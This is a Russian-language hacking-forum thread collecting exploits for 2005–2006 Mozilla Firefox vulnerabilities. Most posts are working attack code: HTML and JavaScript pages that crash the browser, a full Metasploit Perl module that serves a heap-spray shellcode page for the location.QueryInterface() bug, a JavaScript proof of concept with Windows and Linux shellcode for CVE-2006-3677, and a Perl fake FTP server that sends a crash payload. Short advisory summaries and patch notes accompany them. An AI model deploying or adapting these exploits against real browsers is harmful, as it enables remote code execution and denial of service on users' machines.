• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимости: Mozilla Firefox

Winux

Старожил форума
Легенда
Регистрация
12.11.2004
Сообщения
6 358
Реакции
53
Огнелис порадовал очередным багом.
Уязвимость имеет место быть при преобразовании интернациональных имён (IDN) в браузерах, построенных на движках Mozilla (FireFox, Mozilla, Netscape).
Уязвомость нашли ребята из security-protocols.com
Решение: Установить xpi патч от производителя
Подробно+Сплойт
 
Отказ в обслуживании Mozilla Firefox <= 1.0.7 (Mozilla = 1.7.12)
fox_bg.gif

Вот этот код вызывает переполнение буфера в данном браузере, благодаря чему он благополучно выключается:
Код:
<html>
<script language="JavaScript">
document.write('<link rel="stylesheet" href="http://">');
</script>
</html>
 
Множественные уязвимости в Mozilla Firefox
Программа: Mozilla Firefox 1.5 и более ранние версии
Описание:
Обнаруженные уязвимости позволяют удаленному пользователю обойти ограничения безопасности, произвести XSS нападение и скомпрометировать удаленную систему.

1. Обнаружено несколько ошибок в JavaScript engine при обработке временных переменных. Удаленный пользователь может выполнить произвольный сценарий на целевой системе. Уязвимы Mozilla Firefox 1.5 и более ранние версии.

2. Обнаружена ошибка при обработке динамических стилей. Удаленный пользователь может изменить стиль элемента с "position:relative" на "position:static" и получить доступ к освобожденной памяти. Удачная эксплуатация уязвимости позволит злоумышленнику выполнить произвольный код на целевой системе. Уязвимость существует в версии 1.5

3. Уязвимость существует из-за ошибки в методе "QueryInterface" в объектах Location и Navigator. Удаленный пользователь может выполнить произвольный код на целевой системе. Уязвимость существует в версии 1.5.

4. Уязвимость существует пир обработке входных данных в имени атрибута при вызове функции "XULDocument.persist()". Удаленный пользователь может внедрить произвольный XML или JavaScript код файл "localstore.rdf", который будет выполнен во время следующего запуска браузера.

5. Несколько целочисленных переполнений обнаружены в модулях E4X, SVG и Canvas. Удаленный пользователь может выполнить произвольный код на целевой системе. Уязвимость существует в версии 1.5.

6. Уязвимость существует при обработке данных в функции "nsExpatDriver::ParseBuffer()" XML парсера. Удаленный пользователь может получить доступ к данным , хранящимся в динамической памяти системы. Уязвимость существует в версии 1.0

7. Уязвимость существует из-за недостаточной защищенности внутреннего объекта "AnyName" в модуле E4X. Удаленный пользователь может создать коммуникационный канал между двумя окнами или фреймами в различных доменах. Удаленный пользователь может получить доступ к важным данным на системе. Уязвимость существует в версии 1.5
Решение: Установите последнюю версию (1.5.0.1) с сайта производителя
:zns2: производитель


[mod][N1TR0X:] соединил все 3 темы[/mod]
 
Mozilla Firefox "location.QueryInterface()" Remote Command Execution Exploit
Продукт: Mozilla Firefox версии 1.5
Текст эксплоита
Код:
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::firefox_queryinterface;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;

my $advanced = { };

my $info =
{
'Name' => 'Firefox location.QueryInterface() Code Execution',
'Version' => '$Revision: 1.3 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
],

'Description' =>
Pex::Text::Freeform(qq{
This module exploits a code execution vulnerability in the Mozilla
Firefox browser. To reliably exploit this vulnerability, we need to fill
almost a gigabyte of memory with our nop sled and payload. This module has
been tested on Gentoo Linux with the stock mozilla-firefox 1.5.0.0 package.
}),

'Arch' => [ 'x86' ],
'OS' => [ 'linux' ],
'Priv' => 0,

'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},

'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
'Keys' => ['-bind'],
},
'Refs' =>
[
['BID', '16476'],
['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Mozilla Firefox 1.5.0.0 on Linux' ]
],

'Keys' => [ 'mozilla' ],

'DisclosureDate' => 'Feb 02 2006',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;

# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}

my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
Pex::Utils::SourceIP('1.2.3.4') :
$self->GetVar('HTTPHOST');

$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT&# 39;) ."/");

while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}

return;
}

sub HandleHttpClient
{
my $self = shift;
my $fd = shift;

# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);


# Read the HTTP command
my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);

$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending payload...");


my $content = $self->GenerateHTML();

# Transmit the HTTP response
my $req = 
"HTTP/1.0 200 OK\r\n" .
"Content-Type: text/html\r\n" .
"Content-Length: " . length($content) . "\r\n" .
"Connection: close\r\n" .
"\r\n" .
$content;

my $res = $fd->Send($req);

$fd->Close();
}

sub JSUnescape {
my $self = shift;
my $data = shift;
my $code = '';

# Encode the shellcode via %u sequences for JS's unescape() function
my $idx = 0;
while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1)); 
$code .= sprintf('%%u%.2x%.2x', $c2, $c1); 
$idx += 2;
}

return $code;
}

sub GenerateHTML {
my $self = shift;
my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = $self->JSUnescape($self->GetVar('EncodedPayload')->Payload);
my $data = qq#
<html>
<head>
<title>One second please...</title>
<script language="javascript">

function BodyOnLoad() {
h = FillHeap();
location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
};

function FillHeap() {
// Filler
var m = "";
var h = "";
var a = 0;

// Nop sled
for(a=0; a<(1024*512); a++)
m += unescape("\%u9090");

// Payload
m += unescape("$shellcode");

// Repeat
for(a=0; a<1024; a++)
h += m;

// Return
return h;
}
</script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
#;
}

1
 
Mozilla Firefox <= 1.5.0.1, Camino <= 1.0 Null Pointer Dereference Crash
Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании браузера.
Пример:

Код:
<legend>
  <kbd>
    <object>
      <h4>
    </object>
  </kbd>

Код:
_http://morph3us.org/security/pen-testing/firefox/firefox1501-nsBlockFrame.html
 
Mozilla Firefox <= 1.5.0.2 (js320.dll/xpcom_core.dll) Denial of Service PoC
Описание:
Уязвимость существует при обработке JavaScript кода в библиотеках js320.dll и xpcom_core.dll. Удаленный пользователь может с помощью специально сформированной Web страницы вызвать переполнение буфера и выполнит произвольный код на целевой системе.
Эксплоит:
Код:
<textarea cols="0" rows="0" id="x_OtherInfo" name="x_OtherInfo"></textarea> 
  <script> 
       var textarea = document.getElementsByName("x_OtherInfo"); 
       textarea=textarea.item(0); 
           var htmlarea = document.createElement("div"); 
       htmlarea.className = "htmlarea";  
       textarea.parentNode.insertBefore(htmlarea, textarea); 
       var iframe = document.createElement("iframe"); 
       htmlarea.appendChild(iframe);
            var doc = iframe.contentWindow.document; 
                 doc.designMode = "on"; 
                 doc.open(); 
                 doc.write("<iframe src=''>");
          iframe.contentWindow.focus() 
  doc.close(); 
  </script>
</textarea>

пример:
_http://www.securident.com/vuln/ffdos.htm
 
DoS при обработке JS в Mozilla Firefox <= 1.5.0.3
Пример/эксплоит
Код:
<html>
<title>Bug</Title>
<body>
<script language="JavaScript1.2" type="text/javascript">
function MainPageBookmark() {title="Gianni Amato"; url="http://www.gianniamato.it/";
if (window.sidebar) { window.sidebar.addPanel(title, url,"");} else if( window.external )
{ window.external.AddFavorite( url, title); } else if(window.opera && window.print) { return true; }}
for (k=0;k<k+1;k++) MainPageBookmark();
</script>
</body>
 
axaxaxa фаирфокс гавно :shit:
[mod][not null:] Еще один подобный пост - поедешь в бабруйско-дамаджелабовскую колонию[/mod]
 
И еще один пример, вызывающий смерть огнелиса
Код:
<html><head><title>Test bug</title>
</head>
<body>
Mozilla Firefox Crash con el Codigo:
<pre>
function stay(){setInterval('stay()',0);}
stay();
</pre>
<script>
function stay(){setInterval('stay()',0);}
stay();
</script>
</body></html>
Ослик IE и Опера никак не отреагировали, а огнелис перестал подавать признаки жизни.
 
Mozilla Firefox <= 1.5.0.4 (marquee) Denial of Service Exploit
воркает на Mozilla Firefox 1.5.0.4 и более молодых версиях.
Код:
<html>
<head>
<title>Credit's go to n00b</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee></marquee></marquee></marquee></marquee>
</marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</body>
</html>
 
тестировалось на огнелисе 1.0. Никакой реакции.
 
тестировалось на огнелисе 1.0. Никакой реакции.
ктож сидит то на таких "старых" версиях )))))
фаерфокса у меня нету, попробуйте здесь проверить....
сплоит рабочий.
 
ктож сидит то на таких "старых" версиях )))))
ну не знаю, мот кто и сидит. Я только проверил :)
 
Multiple Mozilla / Firefox / Thunderbird / Netscape / Seamonkey security vulnerabilities

Источник:SECUNA
Тип:клиент
Опасность:9/10
Описание:Скриптинг в локальной зоне, повреждения памяти, разделение HTTP запроса, переполнение масива, обход фильтрации Javascript.
Затронутые продукты:MOZILLA:Firefox 1.0
MOZILLA:thunderbird 1.0
MOZILLA:thunderbird 1.5
MOZILLA:Firefox 1.5
MOZILLA:SeaMonkey 1.0
++++++++++++++++++++++++++++++++++++++++++++++++++++
 
Mozilla Firefox <= 1.5.0.4 Javascript navigator Object Code Execution PoC
Код:
<html><body><script>

// MoBB Demonstration
function Demo() {

	// Exploit for http://www.mozilla.org/security/announce/2006/mfsa2006-45.html
	// https://bugzilla.mozilla.org/show_bug.cgi?id=342267
	// CVE-2006-3677

	// The [b]Java plugin is required for this to work[/b]

	// win32 = calc.exe
	var shellcode_win32 = unescape('%ue8fc%u0044%u0000%u458b%u8b3c%
u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%
u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%
u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%
u245c%uc304%uc031%u8b64%u3040%uc085%u0c78%u408b%u8b0c%u1c70%
u8bad%u0868%u09eb%u808b%u00b0%u0000%u688b%u5f3c%uf631%u5660%
uf889%uc083%u507b%u7e68%ue2d8%u6873%ufe98%u0e8a%uff57%u63e7%
u6c61%u2e63%u7865%u0065');
	var fill_win32 = unescape('%u0800');
	var addr_win32 = 0x08000800;
	
	// linux = touch /tmp/METASPLOIT (unreliable)
	var shellcode_linux = unescape('%u0b6a%u9958%u6652%u2d68%u8963%
u68e7%u732f%u0068%u2f68%u6962%u896e%u52e3%u16e8%u0000%u7400%
u756f%u6863%u2f20%u6d74%u2f70%u454d%u4154%u5053%u4f4c%u5449%
u5700%u8953%ucde1%u8080');
	var fill_linux = unescape('%ua8a8');
	var addr_linux = -0x58000000; // Integer wrap: 0xa8000000
	
	var shellcode;
	var addr;
	var fill;
	
	if (navigator.userAgent.indexOf('Linux i') != -1) {
  alert('Trying to create /tmp/METASPLOIT');
  shellcode = shellcode_linux;
  addr = addr_linux;
  fill = fill_linux;
	}
	
	if (navigator.userAgent.indexOf('Windows') != -1) {
  alert('Trying to launch Calculator');	
  shellcode = shellcode_win32;
  addr = addr_win32;
  fill = fill_win32;
	}	
	
	if (! shellcode) {
  alert('OS not supported, only attempting a crash!');
  shellcode = unescape('%ucccc');
  fill = unescape('%cccc');
  addr = 0xcccccccc;
	}
  
	var b = fill;
	while (b.length <= 0x400000) b+=b;

	var c = new Array();
	for (var i =0; i<36; i++) {
  c[i] = 
  	b.substring(0,  0x100000 - shellcode.length) + shellcode +
  	b.substring(0,  0x100000 - shellcode.length) + shellcode + 
  	b.substring(0,  0x100000 - shellcode.length) + shellcode + 
  	b.substring(0,  0x100000 - shellcode.length) + shellcode;
	}
  	
	
	if (window.navigator.javaEnabled) {
  window.navigator = (addr / 2);
  try {
  	java.lang.reflect.Runtime.newInstance(
    java.lang.Class.forName("java.lang.Runtime"), 0
  	);
  	alert('Patched!');
  }catch(e){
  	alert('No Java plugin installed!');
  }
	}
}

</script>

Clicking the button below may crash your browser!


<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>
Провериться на уязвимость можно здесь
PS Шеллкод разбит на строки
 
Mozilla Firefox <= 1.5.0.6 (FTP Request) Remote Denial of Service Exploit
Код:
#!/usr/bin/perl
#author: tomas kempinsky

use strict;
use Socket;

my $port = shift || 2121;
my $proto = getprotobyname('tcp');
my $payload =
"\x32\x32\x30\x20\x5a\x0d\x0a\x33".
"\x33\x31\x20\x5a\x0d\x0a\x35\x30".
"\x30\x20\x44\x6f\x53\x0d\x0a\x35".
"x30\x30\x20\x5a\x0d\x0a";


socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!";

my $paddr = sockaddr_in($port, INADDR_ANY);

bind(SERVER, $paddr) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
print "ftp://D:oS@\x0localhost:2121/\n";

my $client_addr;
while ($client_addr = accept(CLIENT, SERVER)) {
       # find out who connected
       my ($client_port, $client_ip) = sockaddr_in($client_addr);
       my $client_ipnum = inet_ntoa($client_ip);
       my $client_host = gethostbyaddr($client_ip, AF_INET);
       print ": $client_host", "[$client_ipnum]\n";
       # send them a message, close connection
       print CLIENT $payload;
       close CLIENT;
}
Скрипт создает фейковый FTP-сервер, который отошлет крэш-запрос и уронит огнелиса
ЗЫ самому не удалось :(
 
Неизвестная уязвимость в Firefox
Уязвимость при обработке JS-кода в браузере позволяет злонамеренному пользователю вызвать отказ в обслуживании или выполнить произвольный код.
Подробности уязвимости не сообщаются. Решения в данный момент не существует.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх